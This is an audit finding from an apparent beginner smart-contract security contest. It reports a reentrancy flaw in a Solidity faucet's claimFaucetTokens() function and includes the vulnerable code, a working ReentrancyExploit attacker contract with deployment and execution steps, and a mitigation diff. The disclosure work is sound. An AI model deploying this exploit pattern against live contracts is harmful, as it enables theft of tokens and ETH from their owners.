Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy during Sepolia ETH drip permits repeated token claims in a single transaction

Root + Impact

Description

  • Normaly claimFaucetTokens() is designed to let each user claim tokens once every 3 days, receiving 1000 faucet tokens and optionally 0.005 ETH on their first claim.

  • However, because the function sends ETH using a low-level call before updating state variables, it becomes reentrant ,allowing a malicious contract to repeatedly reenter the function before the cooldown (lastClaimedAt) is updated. This can completely drain both token and ETH balances from the faucet.

// Root cause in the codebase with @> marks to highlight the relevant section
function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
// ... other checks omitted for brevity ...
// drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
@> if (success) {
@> emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
@> } else {
@> revert RaiseBoxFaucet_EthTransferFailed();
@> }
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
// Effects (these happen AFTER the external call above)
@> lastClaimTime[faucetClaimer] = block.timestamp;
@> dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}

Risk

Likelihood:

  • Reason 1 : When a malicious user deploys a smart contract with a fallback function that re-calls claimFaucetTokens(), reentrancy occurs immediately when ETH is sent.

  • Reason 2 : This occurs every time a “first-time” user (new address) claims, as the ETH transfer uses call, which forwards all gas.

Impact:

  • Impact 1 : Attacker can recursively mint unlimited faucet tokens before lastClaimedAt is updated.

  • Impact 2 : Attacker can drain all ETH stored in the faucet contract within one transaction.

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
interface IFaucet {
function claimFaucetTokens() external;
}
contract ReentrancyExploit {
IFaucet public faucet;
bool public attacked;
constructor(address _faucet) {
faucet = IFaucet(_faucet);
}
// Start the attack
function attack() external payable {
faucet.claimFaucetTokens();
}
// Fallback triggers reentrancy
receive() external payable {
if (!attacked) {
attacked = true;
faucet.claimFaucetTokens(); // reenter before state updates
}
}
}

Explaination :

  1. Prereq: Deploy RaiseBoxFaucet with tokens and some Sepolia ETH; confirm faucetDrip and sepEthAmountToDrip.

  2. Deploy PoC: Deploy ReentrancyExploit with the faucet address.

  3. Execute: Call attack(); when faucet sends ETH the exploit contract receive() reenters claimFaucetTokens() once.

  4. Observed: Reentrant call bypasses cooldown and receives an extra token drip; faucet token balance decreases by multiple faucetDrip amounts in the same transaction.

  5. Verify: Check the transaction trace for nested calls and multiple _transfer/SepEthDripped events; compare balances before/after.

Note: Safe to run on testnets only (Sepolia). The PoC uses one reentry for demonstration; attackers may loop to drain more funds.


Recommended Mitigation


Explaination :

  1. Update critical state (cooldowns, hasClaimedEth, daily counters) before any external calls.

  2. Non-reentrant: Add OpenZeppelin ReentrancyGuard and mark claimFaucetTokens() nonReentrant.

  3. Prefer pull: Record claimableSepEth[addr] and let users withdrawSepEth() instead of sending ETH inside the claim.

  4. Day counters: Reset daily caps only on a day rollover (use block.timestamp / 1 days or dailyDripsByDay[day]).

  5. Tests: Add unit tests (attacker contract) and CI checks to ensure caps and cooldowns hold.

- (bool success, ) = faucetClaimer.call{value: sepEthAmountToDrip}("");
- if (success) {
- emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
- } else {
- revert RaiseBoxFaucet_EthTransferFailed();
- }
- lastClaimTime[faucetClaimer] = block.timestamp;
+ // Update state BEFORE external call
+ lastClaimTime[faucetClaimer] = block.timestamp;
+
+ (bool success, ) = faucetClaimer.call{value: sepEthAmountToDrip}("");
+ require(success, "ETH transfer failed");
+
+ emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
+ // Or use Checks-Effects-Interactions pattern / ReentrancyGuard modifier
Updates

Lead Judging Commences

inallhonesty Lead Judge 5 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.